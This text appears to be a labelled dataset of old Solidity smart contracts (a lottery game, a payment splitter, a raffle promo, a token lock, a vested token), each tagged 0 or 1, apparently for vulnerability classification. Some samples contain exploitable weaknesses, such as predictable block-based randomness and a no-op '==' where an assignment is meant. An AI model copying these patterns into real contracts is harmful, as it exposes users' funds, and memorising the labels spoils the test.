uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now ; if(_rID == 1 && _now < round_[_rID].strt ) return (0); if (_now < round_[_rID].end) if (_now > round_[_rID].strt) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0){ if (round_[_rID].plyr == _pID){ uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); return ( (plyr_[_pID].win).add( ((_pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); return( ((((round_[_rID].mask).add(((((_pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, ((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].end, ((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256){ uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if ( _rID == 1 && _now < round_[_rID].strt ) { if(msg.value > 0 ){ communityAddr_.transfer(msg.value); } } else if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); }else{ if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onBuyAndDistribute( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.R3Amount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Rich3DDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); }else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onReLoadAndDistribute( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.R3Amount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_) private{ if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2000000000000000000){ uint256 _availableLimit = (2000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000){ updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000){ airDropTracker_++; if (airdrop() == true){ uint256 _prize; if (_eth >= 10000000000000000000){ _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; }else if(_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; }else if(_eth >= 100000000000000000 && _eth < 1000000000000000000){ _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256){ uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "Called from PlayerBook only"); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "Called from PlayerBook only"); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0){ _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != ""){ pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return _eventData_ ; } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return _eventData_ ; } function endRound(Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres); uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _nt = (_pot.mul(potSplit_[_winTID].r3)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_nt); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0){ _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if(_com>0) { communityAddr_.transfer(_com); _com = 0 ; } if(_nt > 0) { FoundationAddr_.transfer(_nt); } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.R3Amount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndMax_); round_[_rID].prevres = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0){ plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_) private returns(Rich3DDatasets.EventReturns){ uint256 _com = 0 ; uint256 _long = (_eth.mul(3)).div(100); if(address(otherRich3D_)!=address(0x0)){ otherRich3D_.potSwap.value(_long)(); }else{ _com = _com.add(_long); } uint256 _aff = (_eth.mul(8)).div(100); if (plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit onAffiliatePayout( _affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now ); } else { if(_aff > 0 ){ affAddr_.transfer(_aff); } } uint256 _agent = (_eth.mul(2)).div(100); agentAddr_.transfer(_agent); uint256 _nt = (_eth.mul(fees_[_team].r3)).div(100); _com = _com.add(_nt) ; if(_com>0){ communityAddr_.transfer(_com); } return (_eventData_) ; } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].prevres = round_[_rID].prevres.add(msg.value); emit onPotSwapDeposit( _rID, msg.value ); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Rich3DDatasets.EventReturns memory _eventData_) private returns(Rich3DDatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].r3)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0){ plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Rich3DDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit onEndTx( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.R3Amount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } }
0
pragma solidity ^0.4.19; contract Ownable { address public owner; function Ownable() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } interface EIP20Token { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); function approve(address spender, uint256 value) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract RenderTokenInvestment1 is Ownable { address public investment_address = 0x46dda95DEf0ddD0d9F6829352dB2622f27Fe5da7; address public major_partner_address = 0x212286e36Ae998FAd27b627EB326107B3aF1FeD4; address public minor_partner_address = 0x515962688858eD980EB2Db2b6fA2802D9f620C6d; uint public gas = 1000; function() payable public { execute_transfer(msg.value); } function execute_transfer(uint transfer_amount) internal { uint major_fee = transfer_amount * 3 / 105; uint minor_fee = transfer_amount * 2 / 105; require(major_partner_address.call.gas(gas).value(major_fee)()); require(minor_partner_address.call.gas(gas).value(minor_fee)()); uint investment_amount = transfer_amount - major_fee - minor_fee; require(investment_address.call.gas(gas).value(investment_amount)()); } function set_transfer_gas(uint transfer_gas) public onlyOwner { gas = transfer_gas; } function approve_unwanted_tokens(EIP20Token token, address dest, uint value) public onlyOwner { token.approve(dest, value); } function emergency_withdraw() public onlyOwner { require(msg.sender.call.gas(gas).value(address(this).balance)()); } }
1
pragma solidity^0.4.21; contract EtheraffleInterface { uint public tktPrice; function getUserNumEntries(address _entrant, uint _week) public view returns (uint) {} } contract LOTInterface { function transfer(address _to, uint _value) public {} function balanceOf(address _owner) public view returns (uint) {} } contract EtheraffleLOTPromo { bool public isActive; uint constant public RAFEND = 500400; uint constant public BIRTHDAY = 1500249600; uint constant public ICOSTART = 1522281600; uint constant public TIER1END = 1523491200; uint constant public TIER2END = 1525305600; uint constant public TIER3END = 1527724800; address constant public ETHERAFFLE = 0x97f535e98cf250CDd7Ff0cb9B29E4548b609A0bd; LOTInterface LOTContract; EtheraffleInterface etheraffleContract; mapping (address => mapping (uint => bool)) public claimed; event LogActiveStatus(bool currentStatus, uint atTime); event LogTokenDeposit(address fromWhom, uint tokenAmount, bytes data); event LogLOTClaim(address whom, uint howMany, uint inWeek, uint atTime); modifier onlyEtheraffle() { require(msg.sender == ETHERAFFLE); _; } function EtheraffleLOTPromo() public { isActive = true; LOTContract = LOTInterface(0xAfD9473dfe8a49567872f93c1790b74Ee7D92A9F); etheraffleContract = EtheraffleInterface(0x45c58bbd535b8661110ef5296e6987573d0c8276); } function redeem(uint _weekNo) public { uint week = _weekNo == 0 ? getWeek() : _weekNo; uint entries = getNumEntries(msg.sender, week); require( !claimed[msg.sender][week] && entries > 0 && isActive ); uint amt = getPromoLOTEarnt(entries); if (getLOTBalance(this) < amt) { isActive = false; emit LogActiveStatus(false, now); return; } claimed[msg.sender][week] = true; LOTContract.transfer(msg.sender, amt); emit LogLOTClaim(msg.sender, amt, week, now); } function getNumEntries(address _address, uint _weekNo) public view returns (uint) { uint week = _weekNo == 0 ? getWeek() : _weekNo; return etheraffleContract.getUserNumEntries(_address, week); } function togglePromo(bool _status) public onlyEtheraffle { isActive = _status; emit LogActiveStatus(_status, now); } function getWeek() public view returns (uint) { uint curWeek = (now - BIRTHDAY) / 604800; if (now - ((curWeek * 604800) + BIRTHDAY) > RAFEND) curWeek++; return curWeek; } function tokenFallback(address _from, uint256 _value, bytes _data) external { if (_value > 0) emit LogTokenDeposit(_from, _value, _data); } function getLOTBalance(address _address) internal view returns (uint) { return LOTContract.balanceOf(_address); } function hasRedeemed(address _address, uint _weekNo) public view returns (bool) { uint week = _weekNo == 0 ? getWeek() : _weekNo; return claimed[_address][week]; } function getTktPrice() public view returns (uint) { return etheraffleContract.tktPrice(); } function getRate() public view returns (uint) { if (now < ICOSTART) return 110000 * 10 ** 6; if (now <= TIER1END) return 100000 * 10 ** 6; if (now <= TIER2END) return 90000 * 10 ** 6; if (now <= TIER3END) return 80000 * 10 ** 6; else return 0; } function getPromoLOTEarnt(uint _entries) public view returns (uint) { return (_entries * getRate() * getTktPrice()) / (1 * 10 ** 18); } function scuttle() external onlyEtheraffle { LOTContract.transfer(ETHERAFFLE, LOTContract.balanceOf(this)); selfdestruct(ETHERAFFLE); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30067200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x37732f093Fb0D9422DA18A91764Fb3A267191DFB; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.13; library Math { function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LimitedTransferToken is ERC20 { modifier canTransfer(address _sender, uint256 _value) { require(_value <= transferableTokens(_sender, uint64(now))); _; } function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function transferableTokens(address holder, uint64 time) public constant returns (uint256) { return balanceOf(holder); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract VestedToken is StandardToken, LimitedTransferToken { uint256 MAX_GRANTS_PER_ADDRESS = 20; struct TokenGrant { address granter; uint256 value; uint64 cliff; uint64 vesting; uint64 start; bool revokable; bool burnsOnRevoke; } mapping (address => TokenGrant[]) public grants; event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId); function grantVestedTokens( address _to, uint256 _value, uint64 _start, uint64 _cliff, uint64 _vesting, bool _revokable, bool _burnsOnRevoke ) public { require(_cliff >= _start && _vesting >= _cliff); require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS); uint256 count = grants[_to].push( TokenGrant( _revokable ? msg.sender : 0, _value, _cliff, _vesting, _start, _revokable, _burnsOnRevoke ) ); transfer(_to, _value); NewTokenGrant(msg.sender, _to, _value, count - 1); } function revokeTokenGrant(address _holder, uint256 _grantId) public { TokenGrant storage grant = grants[_holder][_grantId]; require(grant.revokable); require(grant.granter == msg.sender); address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; uint256 nonVested = nonVestedTokens(grant, uint64(now)); delete grants[_holder][_grantId]; grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)]; grants[_holder].length -= 1; balances[receiver] = balances[receiver].add(nonVested); balances[_holder] = balances[_holder].sub(nonVested); Transfer(_holder, receiver, nonVested); } function transferableTokens(address holder, uint64 time) public constant returns (uint256) { uint256 grantIndex = tokenGrantsCount(holder); if (grantIndex == 0) return super.transferableTokens(holder, time); uint256 nonVested = 0; for (uint256 i = 0; i < grantIndex; i++) { nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time)); } uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); return Math.min256(vestedTransferable, super.transferableTokens(holder, time)); } function tokenGrantsCount(address _holder) public constant returns (uint256 index) { return grants[_holder].length; } function calculateVestedTokens( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vesting) public constant returns (uint256) { if (time < cliff) return 0; if (time >= vesting) return tokens; uint256 vestedTokens = SafeMath.div( SafeMath.mul( tokens, SafeMath.sub(time, start) ), SafeMath.sub(vesting, start) ); return vestedTokens; } function tokenGrant(address _holder, uint256 _grantId) public constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) { TokenGrant storage grant = grants[_holder][_grantId]; granter = grant.granter; value = grant.value; start = grant.start; cliff = grant.cliff; vesting = grant.vesting; revokable = grant.revokable; burnsOnRevoke = grant.burnsOnRevoke; vested = vestedTokens(grant, uint64(now)); } function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { return calculateVestedTokens( grant.value, uint256(time), uint256(grant.start), 